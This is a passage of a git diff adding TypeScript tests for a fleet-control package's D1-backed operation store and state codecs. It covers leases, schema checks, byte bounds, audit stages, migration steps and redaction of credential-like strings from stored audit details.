OPERATION_ACCOUNT, + leaseTtlMs: 2_500, + leaseRenewalIntervalMs: 1, + }).withAccountOperationLease('audit', async () => {}); + } catch { + contenderRejected = true; + } + if (clock.now() <= originalExpiresAt) { + throw new Error('controlled D1 time did not pass original expiry'); + } + }); + const remaining = await db + .prepare(`SELECT COUNT(*) AS count FROM ${OPERATION_LEASE_TABLE}`) + .first<{ count: number }>(); + return { + takeover, + heartbeatObserved: true, + contenderRejected, + leasesAfterRelease: Number(remaining?.count), + }; +} + +async function operationColdConcurrentSchema(db: D1Database): Promise { + const stores = Array.from({ length: 16 }, () => + operationStore(new D1FleetStateDatabase(db)), + ); + const absent = await Promise.all( + stores.map((target) => target.readOperationById(operationId(20))), + ); + const columns: Record = {}; + for (const table of OPERATION_TABLES) { + const rows = await db + .prepare(`PRAGMA table_info(${table})`) + .all<{ name: string; type: string }>(); + columns[table] = rows.results.map((row) => `${row.name}:${row.type}`); + } + const tables = await db + .prepare( + `SELECT name FROM sqlite_master + WHERE type = 'table' AND name LIKE 'anchorage_fleet_operation%' + ORDER BY name`, + ) + .all<{ name: string }>(); + return { + absent: absent.filter((entry) => entry === undefined).length, + columns, + tables: tables.results.map((row) => row.name), + }; +} + +async function operationTwoAccountIsolation(db: D1Database): Promise { + const first = operationStore( + new D1FleetStateDatabase(db), + 'operation-account-one', + ); + const second = operationStore( + new D1FleetStateDatabase(db), + 'operation-account-two', + ); + const id = operationId(30); + await Promise.all([ + first.withAccountOperationLease('audit', (lease) => + operationStart(lease, 'audit', id), + ), + second.withAccountOperationLease('audit', (lease) => + operationStart(lease, 'audit', id), + ), + ]); + const rows = await db + .prepare( + `SELECT account_id, operation_id FROM anchorage_fleet_operations + WHERE operation_id = ? ORDER BY account_id`, + ) + .bind(id) + .all<{ account_id: string; operation_id: string }>(); + return rows.results; +} + async function cloudflareRateCoordination(db: D1Database): Promise { await db .prepare('DROP TABLE IF EXISTS anchorage_cloudflare_api_rate_reservations') @@ -3267,6 +3745,24 @@ export default { return Response.json(await inventoryLeaseLifecycle(env.DB)); case 'inventory-cold-concurrent-schema': return Response.json(await inventoryColdConcurrentSchema(env.DB)); + case 'operation-start-atomicity': + return Response.json(await operationStartAtomicity(env.DB)); + case 'operation-commit-concurrency': + return Response.json(await operationCommitConcurrency(env.DB)); + case 'operation-finalize-convergence': + return Response.json(await operationFinalizeConvergence(env.DB)); + case 'operation-rows-readback': + return Response.json(await operationRowsReadback(env.DB)); + case 'operation-corrupt-unreadable': + return Response.json(await operationCorruptUnreadable(env.DB)); + case 'operation-prune-order': + return Response.json(await operationPruneOrder(env.DB)); + case 'operation-lease-lifecycle': + return Response.json(await operationLeaseLifecycle(env.DB)); + case 'operation-cold-concurrent-schema': + return Response.json(await operationColdConcurrentSchema(env.DB)); + case 'operation-two-account-isolation': + return Response.json(await operationTwoAccountIsolation(env.DB)); default: return Response.json({ error: 'unknown action' }, { status: 400 }); } diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts new file mode 100644 index 00000000..bc407eb4 --- /dev/null +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -0,0 +1,553 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import type { DriftFinding } from '../src/fleet.js'; +import { + driftFindingRowFromUnknown, + FLEET_AUDIT_FINDING_KINDS, + FLEET_AUDIT_STAGE_ORDER, + fleetAuditFactRowFromUnknown, + fleetAuditOperationRecordFromUnknown, + fleetAuditStageFromUnknown, + nextAuditStage, + withheldAuditDetail, +} from '../src/fleet-audit-state.js'; +import { + FLEET_MIGRATION_STEPS, + fleetMigrationItemFromUnknown, + fleetMigrationOperationRecordFromUnknown, + fleetMigrationPlanEntryFromUnknown, +} from '../src/fleet-migration-state.js'; +import { + assertFleetOperationId, + canonicalFleetOperationBytes, + classifyFleetOperationToken, + FLEET_MIGRATION_PLAN_BOUND, + FLEET_OPERATION_RECORD_BYTE_BOUND, + FLEET_OPERATION_TOKEN_BYTE_BOUND, + FleetOperationStateError, + FleetOperationTokenError, + FleetOperationTokenFutureError, + FleetOperationTokenKindError, + FleetOperationTokenOperationError, + fleetOperationIntakeDigest, + fleetOperationRunRecordFromUnknown, + fleetOperationStagedRowFromUnknown, + isDurableAuditDetailSafe, + parseFleetOperationToken, +} from '../src/fleet-operation-state.js'; + +const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; +const NOW = '2026-09-01T00:00:00.000Z'; + +function auditProgress(revision = 0) { + return { + kind: 'audit' as const, + revision, + stage: { step: 'provider-findings' as const, rowOrdinal: 0 }, + generation: 1, + auditTimeMs: 1_700_000_000_000, + staleAfterMs: 60_000, + recordCount: 1, + findingCount: 0, + factCount: 0, + }; +} + +function auditRecord(revision = 0) { + return { + version: 1 as const, + operationId: OPERATION_ID, + kind: 'audit' as const, + state: 'running' as const, + progress: auditProgress(revision), + updatedAt: NOW, + }; +} + +function migrationItem( + status: 'pending' | 'active' | 'complete' | 'failed' = 'pending', +) { + const common = { + ordinal: 0, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'a'.repeat(64), + status, + }; + return status === 'pending' + ? common + : { + ...common, + targetSpecDigest: 'b'.repeat(64), + plan: [{ step: 'apply-migrations', targetSchemaVersion: 2 }], + planCursor: status === 'complete' ? 1 : 0, + }; +} + +function migrationRecord() { + return { + version: 1 as const, + operationId: OPERATION_ID, + kind: 'migration' as const, + state: 'running' as const, + progress: { + kind: 'migration' as const, + revision: 0, + itemCount: 1, + activeItemOrdinal: 0, + completedItemCount: 0, + }, + updatedAt: NOW, + }; +} + +function nested(depth: number): unknown { + let value: unknown = 'leaf'; + for (let index = 0; index < depth; index += 1) value = { value }; + return value; +} + +describe('fleet operation state', () => { + it('token round-trip + exact-key refusal', () => { + const token = { version: 1, operationId: OPERATION_ID, revision: 7 }; + expect(parseFleetOperationToken(token)).toEqual(token); + expect(() => parseFleetOperationToken({ ...token, cursor: 1 })).toThrow( + FleetOperationTokenError, + ); + }); + + it('token classification order generic → operation → kind → future → stale/current (with expectedKind)', () => { + expect(() => parseFleetOperationToken(null)).toThrow( + FleetOperationTokenError, + ); + const token = parseFleetOperationToken({ + version: 1, + operationId: OPERATION_ID, + revision: 1, + }); + expect(() => + classifyFleetOperationToken(token, undefined, 'audit'), + ).toThrow(FleetOperationTokenOperationError); + expect(() => + classifyFleetOperationToken(token, migrationRecord(), 'audit'), + ).toThrow(FleetOperationTokenKindError); + expect(() => + classifyFleetOperationToken(token, auditRecord(0), 'audit'), + ).toThrow(FleetOperationTokenFutureError); + expect(classifyFleetOperationToken(token, auditRecord(2), 'audit')).toBe( + 'stale', + ); + expect(classifyFleetOperationToken(token, auditRecord(1), 'audit')).toBe( + 'current', + ); + }); + + it('envelope record codec round-trip + bound refusals', () => { + expect(fleetOperationRunRecordFromUnknown(auditRecord())).toEqual( + auditRecord(), + ); + expect(() => + fleetOperationRunRecordFromUnknown({ + ...auditRecord(), + progress: { ...auditProgress(), extra: 'x'.repeat(100_000) }, + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetOperationRunRecordFromUnknown({ + ...auditRecord(), + state: 'failed', + progress: { ...auditProgress(), failure: { reason: 'unknown' } }, + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetOperationRunRecordFromUnknown({ + ...auditRecord(), + state: 'failed', + progress: { + ...auditProgress(), + failure: { reason: 'item-failed', itemOrdinal: 0.5 }, + }, + }), + ).toThrow(FleetOperationStateError); + }); + + it('audit refinement codec round-trip + vocabulary refusal', () => { + expect(fleetAuditOperationRecordFromUnknown(auditRecord())).toEqual( + auditRecord(), + ); + expect(() => + driftFindingRowFromUnknown({ + tenantTag: 'tenant', + environment: 'production', + kind: 'not-a-finding', + detail: 'safe', + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetAuditFactRowFromUnknown({ + factKind: 'database-owner', + key: 'database\nname', + tenantTag: 'tenant', + environment: 'production', + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetAuditFactRowFromUnknown({ + factKind: 'database-owner', + key: 'database-name', + tenantTag: 'Prod-1', + environment: 'production', + }), + ).toThrow(FleetOperationStateError); + }); + + it('migration refinement codec round-trip + item/status vocabulary refusal (incl. targetSpecDigest/plan/planCursor optionality by status)', () => { + expect(fleetMigrationOperationRecordFromUnknown(migrationRecord())).toEqual( + migrationRecord(), + ); + for (const status of ['pending', 'active', 'complete', 'failed'] as const) { + expect(fleetMigrationItemFromUnknown(migrationItem(status)).status).toBe( + status, + ); + } + expect(() => + fleetMigrationItemFromUnknown({ + ...migrationItem('pending'), + status: 'waiting', + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetMigrationItemFromUnknown({ + ...migrationItem('pending'), + targetSpecDigest: 'b'.repeat(64), + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetMigrationItemFromUnknown({ + ...migrationItem('active'), + targetSpecDigest: undefined, + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetMigrationItemFromUnknown({ + ...migrationItem('active'), + plan: undefined, + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetMigrationItemFromUnknown({ + ...migrationItem('complete'), + planCursor: 0, + }), + ).toThrow(FleetOperationStateError); + expect(fleetMigrationItemFromUnknown(migrationItem('complete'))).toEqual( + migrationItem('complete'), + ); + expect(() => + fleetMigrationItemFromUnknown({ + ...migrationItem('pending'), + tenantTag: 'Prod-1', + }), + ).toThrow(FleetOperationStateError); + }); + + it('staged-row codec exact keys + row-kind vocabulary refusal', () => { + const row = { rowKind: 'record', ordinal: 0, payload: { value: true } }; + expect(fleetOperationStagedRowFromUnknown(row)).toEqual(row); + expect(() => + fleetOperationStagedRowFromUnknown({ ...row, extra: true }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetOperationStagedRowFromUnknown({ ...row, rowKind: 'cursor' }), + ).toThrow(FleetOperationStateError); + }); + + it('record/token byte bounds fail closed', () => { + expect(() => + parseFleetOperationToken({ + version: 1, + operationId: OPERATION_ID, + revision: 0, + padding: 'x'.repeat(FLEET_OPERATION_TOKEN_BYTE_BOUND), + }), + ).toThrow(FleetOperationTokenError); + const padding = Object.fromEntries( + Array.from( + { length: Math.floor(FLEET_OPERATION_RECORD_BYTE_BOUND / 4000) + 1 }, + (_, index) => [`padding${index}`, 'x'.repeat(4000)], + ), + ); + expect(() => + fleetOperationRunRecordFromUnknown({ + ...auditRecord(), + progress: { ...auditProgress(), padding }, + }), + ).toThrow(FleetOperationStateError); + }); + + it('string/depth/node bounds fail closed', () => { + expect(() => + fleetOperationRunRecordFromUnknown({ + ...auditRecord(), + progress: { ...auditProgress(), text: 'x'.repeat(4097) }, + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetOperationRunRecordFromUnknown({ + ...auditRecord(), + progress: { ...auditProgress(), nested: nested(65) }, + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetOperationRunRecordFromUnknown({ + ...auditRecord(), + progress: { ...auditProgress(), nodes: Array(8193).fill(0) }, + }), + ).toThrow(FleetOperationStateError); + }); + + it('row payload 16 KiB bound + 96 KiB record-row allowance', () => { + const payload = Object.fromEntries( + Array.from({ length: 6 }, (_, index) => [ + `value${index}`, + 'x'.repeat(3000), + ]), + ); + expect(() => + fleetOperationStagedRowFromUnknown({ + rowKind: 'finding', + ordinal: 0, + payload, + }), + ).toThrow(FleetOperationStateError); + expect( + fleetOperationStagedRowFromUnknown({ + rowKind: 'record', + ordinal: 0, + payload, + }).payload, + ).toEqual(payload); + expect(() => + fleetOperationStagedRowFromUnknown({ + rowKind: 'record', + ordinal: 0, + payload: Object.fromEntries( + Array.from({ length: 34 }, (_, index) => [ + `value${index}`, + 'x'.repeat(3000), + ]), + ), + }), + ).toThrow(FleetOperationStateError); + }); + + it('intake byte bound refusal above and acceptance at the bound', () => { + const atBound = Array.from({ length: 4096 }, (_, index) => + 'x'.repeat(index === 0 ? 4092 : 4093), + ); + expect(() => fleetOperationIntakeDigest(atBound)).not.toThrow(); + const aboveBound = [...atBound]; + aboveBound[0] = `${aboveBound[0]}x`; + expect(() => fleetOperationIntakeDigest(aboveBound)).toThrow( + FleetOperationStateError, + ); + }); + + it('structured-field validation accepts a provider-claimed finding tag and rejects unsafe bytes', () => { + expect( + driftFindingRowFromUnknown({ + tenantTag: 'bearer', + environment: 'production', + kind: 'audit-error', + detail: 'safe detail', + }).tenantTag, + ).toBe('bearer'); + expect( + driftFindingRowFromUnknown({ + tenantTag: 'Prod-1', + environment: 'production', + kind: 'audit-error', + detail: 'safe detail', + }).tenantTag, + ).toBe('Prod-1'); + expect(() => + driftFindingRowFromUnknown({ + tenantTag: 'Bad\nTag', + environment: 'production', + kind: 'audit-error', + detail: 'safe detail', + }), + ).toThrow(FleetOperationStateError); + }); + + it('isDurableAuditDetailSafe rejects control bytes AND credential substrings; accepts a long spaced benign detail', () => { + expect(isDurableAuditDetailSafe('line\nsecret')).toBe(false); + for (const marker of ['Authorization', 'BEARER', 'x-auth', 'API_TOKEN']) { + expect(isDurableAuditDetailSafe(`provider said ${marker}`)).toBe(false); + } + expect(isDurableAuditDetailSafe('safe words '.repeat(300))).toBe(true); + }); + + it('the withheld-detail fallback shape (a bearer-service detail is withheld, never thrown)', () => { + const unsafe = 'maintenance failed for bearer-service'; + expect(isDurableAuditDetailSafe(unsafe)).toBe(false); + expect(withheldAuditDetail('maintenance-stale')).toBe( + "finding detail withheld: unsafe bytes (kind 'maintenance-stale')", + ); + for (const detail of ['x'.repeat(4097), 'unsafe\u0000detail']) { + expect(isDurableAuditDetailSafe(detail)).toBe(false); + expect(() => + driftFindingRowFromUnknown({ + tenantTag: 'tenant', + environment: 'production', + kind: 'maintenance-stale', + detail, + }), + ).toThrow(FleetOperationStateError); + expect(withheldAuditDetail('maintenance-stale')).toBe( + "finding detail withheld: unsafe bytes (kind 'maintenance-stale')", + ); + } + }); + + it('assertFleetOperationId accepts lowercase UUIDv4; rejects uppercase/short/non-v4', () => { + expect(() => assertFleetOperationId(OPERATION_ID)).not.toThrow(); + for (const value of [ + OPERATION_ID.toUpperCase(), + 'short', + OPERATION_ID.replace('-4', '-3'), + ]) { + expect(() => assertFleetOperationId(value)).toThrow( + FleetOperationStateError, + ); + } + }); + + it('canonicalFleetOperationBytes/fleetOperationIntakeDigest stable under nested key reorder; digest differs on any value change', () => { + const first = { z: [{ b: 2, a: 1 }], a: { d: 4, c: 3 } }; + const reordered = { a: { c: 3, d: 4 }, z: [{ a: 1, b: 2 }] }; + expect(canonicalFleetOperationBytes(first)).toBe( + canonicalFleetOperationBytes(reordered), + ); + expect(fleetOperationIntakeDigest(first)).toBe( + fleetOperationIntakeDigest(reordered), + ); + expect(fleetOperationIntakeDigest(first)).not.toBe( + fleetOperationIntakeDigest({ ...reordered, z: [{ a: 1, b: 3 }] }), + ); + }); + + it('audit stage codec round-trip + unknown-step refusal', () => { + const stage = { step: 'r2-missing-identity', expectedOrdinal: 4 } as const; + expect(fleetAuditStageFromUnknown(stage)).toEqual(stage); + expect(() => fleetAuditStageFromUnknown({ step: 'unknown' })).toThrow( + FleetOperationStateError, + ); + }); + + it('nextAuditStage successor chain over all 13 stages (same-step on exhausted: false)', () => { + const initial = { + step: 'provider-findings', + rowOrdinal: 0, + } as const; + let stage = fleetAuditStageFromUnknown(initial); + const seen = [stage.step]; + expect(nextAuditStage({ ...initial, rowOrdinal: 7 }, false)).toEqual({ + step: 'provider-findings', + rowOrdinal: 7, + }); + while (stage.step !== 'finalize') { + stage = nextAuditStage(stage, true); + seen.push(stage.step); + } + expect(seen).toEqual(FLEET_AUDIT_STAGE_ORDER); + expect(nextAuditStage(stage, true)).toEqual({ step: 'finalize' }); + }); + + it('FleetMigrationStep 24-member vocabulary refusal + fleetMigrationPlanEntryFromUnknown per-entry scope', () => { + expect(FLEET_MIGRATION_STEPS).toHaveLength(24); + for (const step of FLEET_MIGRATION_STEPS) { + expect(fleetMigrationPlanEntryFromUnknown({ step }).step).toBe(step); + } + expect(() => + fleetMigrationPlanEntryFromUnknown({ step: 'unknown' }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetMigrationPlanEntryFromUnknown({ + step: 'promote', + targetSchemaVersion: 2, + }), + ).toThrow(FleetOperationStateError); + expect( + fleetMigrationPlanEntryFromUnknown({ + step: 'apply-migrations', + targetSchemaVersion: 2, + }), + ).toEqual({ step: 'apply-migrations', targetSchemaVersion: 2 }); + expect(() => + fleetMigrationPlanEntryFromUnknown({ + step: 'apply-migrations', + targetSchemaVersion: 0, + }), + ).toThrow(FleetOperationStateError); + expect(() => + fleetMigrationPlanEntryFromUnknown({ + step: 'apply-migrations', + targetSchemaVersion: Number.MAX_SAFE_INTEGER + 1, + }), + ).toThrow(FleetOperationStateError); + }); + + it('FLEET_MIGRATION_PLAN_BOUND refusal', () => { + expect(() => + fleetMigrationItemFromUnknown({ + ...migrationItem('active'), + plan: Array.from({ length: FLEET_MIGRATION_PLAN_BOUND + 1 }, () => ({ + step: 'promote', + })), + }), + ).toThrow(FleetOperationStateError); + }); + + it("the audit kind vocabulary is set-equal to DriftFinding['kind']", () => { + type DriftKind = DriftFinding['kind']; + const expected = [ + 'missing-deployment', + 'duplicate-deployment', + 'database-mismatch', + 'duplicate-database', + 'duplicate-namespace', + 'binding-drift', + 'route-drift', + 'orphan-deployment', + 'orphan-database', + 'missing-namespace', + 'orphan-namespace', + 'orphan-route', + 'missing-r2-bucket', + 'orphan-r2-bucket', + 'r2-bucket-drift', + 'duplicate-route', + 'incomplete-provisioning', + 'version-drift', + 'maintenance-stale', + 'audit-error', + 'malformed-script-registration', + 'stale-script-registration', + 'malformed-route', + 'stale-route', + 'incomplete-deployment', + 'trusted-dispatch-namespace', + 'unknown-dispatch-scripts', + ] as const satisfies readonly DriftKind[]; + const exhaustive: Exclude< + DriftKind, + (typeof expected)[number] + > extends never + ? true + : false = true; + expect(exhaustive).toBe(true); + expect(new Set(FLEET_AUDIT_FINDING_KINDS)).toEqual(new Set(expected)); + }); +}); diff --git a/packages/fleet-control/test/fleet-operation-store.test.ts b/packages/fleet-control/test/fleet-operation-store.test.ts new file mode 100644 index 00000000..8487d066 --- /dev/null +++ b/packages/fleet-control/test/fleet-operation-store.test.ts @@ -0,0 +1,1415 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { D1FleetOperationStore } from '../src/d1-fleet-operation-store.js'; +import type { + FleetInventoryGeneration, + FleetInventoryGenerationRef, + FleetInventoryRunRecord, + FleetInventoryRunStore, +} from '../src/fleet-inventory-state.js'; +import { + classifyFleetOperationToken, + type FleetOperationKind, + type FleetOperationLease, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + FleetOperationStoreCapabilityError, +} from '../src/fleet-operation-state.js'; +import type { FleetStateDatabase } from '../src/state-store.js'; + +interface SqliteStatement { + all(...bindings: readonly unknown[]): Readonly>[]; +} + +interface SqliteDatabase { + prepare(sql: string): SqliteStatement; + exec(sql: string): void; +} + +function openSqlite(): SqliteDatabase { + // getBuiltinModule avoids vite's resolver, which cannot resolve node:sqlite; + // node:sqlite has been unflagged since Node 22.13. + const getBuiltin = ( + globalThis as { + process?: { getBuiltinModule?: (id: string) => unknown }; + } + ).process?.getBuiltinModule; + if (!getBuiltin) { + throw new Error('node:sqlite unavailable — tests require node >= 22.13'); + } + const sqlite = getBuiltin('node:sqlite') as { + DatabaseSync: new (path: string) => SqliteDatabase; + }; + return new sqlite.DatabaseSync(':memory:'); +} + +/** + * Fake fleet state database port. It executes the store's real SQL, so every + * guard, `json_extract` comparison, and count subquery is exercised, and a + * batch is atomic exactly as the port contract promises. + */ +class MemoryD1 implements FleetStateDatabase { + readonly sqlite = openSqlite(); + /** Statement counts for each executed batch. */ + readonly batchSizes: number[] = []; + /** Binding counts for every statement executed in batch order. */ + readonly bindingCounts: number[] = []; + /** Statements the next batch drops after committing, for lost responses. */ + hideBatchResults = false; + /** Makes the next committed batch throw as if its response were lost. */ + failNextBatchAfterCommit = false; + + async query( + sql: string, + bindings: readonly unknown[] = [], + ): Promise>[]> { + return this.sqlite.prepare(sql).all(...bindings); + } + + async execute(sql: string, bindings: readonly unknown[] = []): Promise { + this.sqlite.prepare(sql).all(...bindings); + } + + async batch( + statements: readonly Readonly<{ + sql: string; + bindings?: readonly unknown[]; + }>[], + ): Promise>[])[]> { + this.batchSizes.push(statements.length); + this.bindingCounts.push( + ...statements.map(({ bindings = [] }) => bindings.length), + ); + if (statements.length === 0) return []; + const results: Readonly>[][] = []; + this.sqlite.exec('BEGIN IMMEDIATE'); + try { + for (const { sql, bindings = [] } of statements) { + results.push(this.sqlite.prepare(sql).all(...bindings)); + } + this.sqlite.exec('COMMIT'); + } catch (error) { + this.sqlite.exec('ROLLBACK'); + throw error; + } + if (this.failNextBatchAfterCommit) { + this.failNextBatchAfterCommit = false; + throw new Error('committed batch response lost'); + } + if (this.hideBatchResults) { + this.hideBatchResults = false; + return results.map(() => []); + } + return results; + } +} + +const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; +const SECOND_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174001'; +const THIRD_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174002'; +const FOURTH_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174003'; +const FIFTH_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174004'; +const SIXTH_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174005'; +const DIGEST = 'a'.repeat(64); +const OTHER_DIGEST = 'b'.repeat(64); +const NOW = '2026-09-01T00:00:00.000Z'; + +function runRecord( + kind: FleetOperationKind, + revision = 0, + state: 'running' | 'finalized' | 'failed' = 'running', + operationId = OPERATION_ID, +): FleetOperationRunRecord { + return { + version: 1, + operationId, + kind, + state, + progress: + kind === 'audit' + ? { + kind, + revision, + stage: { step: 'provider-findings', rowOrdinal: 0 }, + generation: 1, + auditTimeMs: 1_700_000_000_000, + staleAfterMs: 60_000, + recordCount: 2, + findingCount: 0, + factCount: 0, + ...(state === 'failed' + ? { failure: { reason: 'operator-abandoned' as const } } + : {}), + } + : { + kind, + revision, + itemCount: 1, + activeItemOrdinal: 0, + completedItemCount: state === 'finalized' ? 1 : 0, + ...(state === 'failed' + ? { + failure: { + reason: 'item-failed' as const, + itemOrdinal: 0, + }, + } + : {}), + }, + updatedAt: NOW, + } as unknown as FleetOperationRunRecord; +} + +function advanced( + record: FleetOperationRunRecord, + state: 'running' | 'finalized' | 'failed' = 'running', +): FleetOperationRunRecord { + const failure = + state === 'failed' + ? record.kind === 'audit' + ? { reason: 'operator-abandoned' as const } + : { reason: 'item-failed' as const, itemOrdinal: 0 } + : undefined; + return { + ...record, + state, + progress: { + ...record.progress, + revision: record.progress.revision + 1, + ...(failure === undefined ? {} : { failure }), + }, + }; +} + +function recordRow(ordinal: number, label = `record-${ordinal}`) { + return { rowKind: 'record' as const, ordinal, payload: { label } }; +} + +function findingRow(ordinal = 0): FleetOperationStagedRow { + return { + rowKind: 'finding', + ordinal, + payload: { + tenantTag: 'tenant', + environment: 'production', + kind: 'audit-error', + detail: `safe finding ${ordinal}`, + }, + }; +} + +function factRow(ordinal = 0): FleetOperationStagedRow { + return { + rowKind: 'fact', + ordinal, + payload: { + factKind: 'database-owner', + key: `database-${ordinal}`, + tenantTag: 'tenant', + environment: 'production', + }, + }; +} + +function itemRow( + status: 'pending' | 'active' | 'complete' | 'failed' = 'pending', + ordinal = 0, +): FleetOperationStagedRow { + return { + rowKind: 'item', + ordinal, + payload: { + ordinal, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'c'.repeat(64), + ...(status === 'pending' + ? {} + : { + targetSpecDigest: 'd'.repeat(64), + plan: [{ step: 'promote' }], + planCursor: status === 'complete' ? 1 : 0, + }), + status, + }, + }; +} + +function store( + db: MemoryD1, + accountId = 'account-primary', + inventoryStore?: FleetInventoryRunStore, +): D1FleetOperationStore { + return new D1FleetOperationStore(db, { accountId, inventoryStore }); +} + +function start( + lease: FleetOperationLease, + kind: FleetOperationKind = 'audit', + operationId = OPERATION_ID, + intakeDigest = DIGEST, +) { + return lease.startOperation({ + operationId, + kind, + runRecord: runRecord(kind, 0, 'running', operationId), + intakeDigest, + }); +} + +async function seedTerminal( + target: D1FleetOperationStore, + kind: FleetOperationKind, + operationId: string, + state: 'finalized' | 'failed', +): Promise { + return target.withAccountOperationLease(kind, async (lease) => { + const created = await start(lease, kind, operationId); + const terminal = advanced(created.record, state); + if (state === 'finalized') { + return lease.finalizeOperation({ + operationId, + expectedRevision: 0, + runRecord: terminal, + expectedRowCounts: {}, + }); + } + await lease.failOperation({ + operationId, + expectedRevision: 0, + runRecord: terminal, + }); + const persisted = await lease.readOperation(operationId); + if (!persisted) throw new Error('failed seed operation disappeared'); + return persisted; + }); +} + +async function rejection(operation: Promise): Promise { + try { + await operation; + } catch (error) { + return error as Error; + } + throw new Error('operation unexpectedly resolved'); +} + +class FakeInventoryStore implements FleetInventoryRunStore { + readonly pins = new Set(); + readonly releases: string[] = []; + crashAfterRelease = false; + + withAccountInventoryLease(): Promise { + throw new Error('unused inventory capability'); + } + readFinalizedGeneration(): Promise { + throw new Error('unused inventory capability'); + } + latestFinalizedGeneration(): Promise< + FleetInventoryGenerationRef | undefined + > { + throw new Error('unused inventory capability'); + } + readRunByOperation(): Promise { + throw new Error('unused inventory capability'); + } + pinGeneration(input: { + generation: number; + pinnedBy: string; + }): Promise { + this.pins.add(`${input.generation}:${input.pinnedBy}`); + return Promise.resolve(); + } + releasePin(input: { generation: number; pinnedBy: string }): Promise { + const key = `${input.generation}:${input.pinnedBy}`; + this.pins.delete(key); + this.releases.push(key); + if (this.crashAfterRelease) { + this.crashAfterRelease = false; + return Promise.reject(new Error('crash after pin release')); + } + return Promise.resolve(); + } + pruneInventoryGenerations(): Promise> { + throw new Error('unused inventory capability'); + } +} + +describe('D1FleetOperationStore', () => { + it('four-table schema + PRAGMA drift fail-closed', async () => { + const db = new MemoryD1(); + await store(db).readOperationById(OPERATION_ID); + const tables = db.sqlite + .prepare( + `SELECT name FROM sqlite_master + WHERE type = 'table' AND name LIKE 'anchorage_fleet_operation_%' + ORDER BY name`, + ) + .all() + .map((row) => String(row.name)); + expect(tables).toEqual([ + 'anchorage_fleet_operation_heads', + 'anchorage_fleet_operation_leases', + 'anchorage_fleet_operation_rows', + 'anchorage_fleet_operations', + ]); + const drifted = new MemoryD1(); + drifted.sqlite.exec(`CREATE TABLE anchorage_fleet_operation_heads ( + account_id TEXT, operation_kind TEXT, active_operation_id INTEGER + )`); + await expect( + store(drifted).readOperationById(OPERATION_ID), + ).rejects.toThrow("column 'active_operation_id' is absent or incompatible"); + }); + + it("startOperation claims the head and returns outcome: 'created'", async () => { + const db = new MemoryD1(); + const result = await store(db).withAccountOperationLease('audit', (lease) => + start(lease), + ); + expect(result).toEqual({ outcome: 'created', record: auditRun(0) }); + expect( + db.sqlite + .prepare( + 'SELECT active_operation_id FROM anchorage_fleet_operation_heads', + ) + .all()[0]?.active_operation_id, + ).toBe(OPERATION_ID); + }); + + it("start replay on a TERMINAL operation returns outcome: 'adopted-terminal' with the persisted record", async () => { + const db = new MemoryD1(); + const target = store(db); + const terminal = await seedTerminal( + target, + 'audit', + OPERATION_ID, + 'finalized', + ); + const replay = await target.withAccountOperationLease('audit', (lease) => + start(lease), + ); + expect(replay).toEqual({ outcome: 'adopted-terminal', record: terminal }); + }); + + it("start probe on a RUNNING digest-match returns outcome: 'adopted-running' and the resume's revision-1 commit converges idempotently", async () => { + const db = new MemoryD1(); + const target = store(db); + let intended: FleetOperationRunRecord | undefined; + await target.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [recordRow(0)], + }); + intended = advanced(created.record); + await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: intended, + expectedRowWatermarks: { record: 1 }, + }); + }); + const replay = await target.withAccountOperationLease( + 'audit', + async (lease) => { + const adopted = await start(lease); + const converged = await lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: intended as FleetOperationRunRecord, + expectedRowWatermarks: { record: 1 }, + }); + return { adopted, converged }; + }, + ); + expect(replay.adopted.outcome).toBe('adopted-running'); + expect(replay.adopted.record.progress.revision).toBe(1); + expect(replay.converged).toEqual(intended); + }); + + it('intake-digest mismatch conflict', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', (lease) => start(lease)); + await expect( + target.withAccountOperationLease('audit', (lease) => + start(lease, 'audit', OPERATION_ID, OTHER_DIGEST), + ), + ).rejects.toThrow( + `fleet operation '${OPERATION_ID}' already exists with a different intake`, + ); + }); + + it('same-kind foreign active operation contends', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', (lease) => start(lease)); + await expect( + target.withAccountOperationLease('audit', (lease) => + start(lease, 'audit', SECOND_OPERATION_ID), + ), + ).rejects.toThrow( + 'another fleet audit operation is active for this account', + ); + }); + + it('a NULL head is not re-claimed for an existing operation', async () => { + const db = new MemoryD1(); + const target = store(db); + await seedTerminal(target, 'audit', OPERATION_ID, 'finalized'); + await target.withAccountOperationLease('audit', (lease) => start(lease)); + expect( + db.sqlite + .prepare( + `SELECT active_operation_id FROM anchorage_fleet_operation_heads + WHERE operation_kind = 'audit'`, + ) + .all()[0]?.active_operation_id, + ).toBeNull(); + }); + + it('cross-kind operation-id reuse fails closed', async () => { + const db = new MemoryD1(); + const target = store(db); + await seedTerminal(target, 'audit', OPERATION_ID, 'failed'); + await expect( + target.withAccountOperationLease('migration', 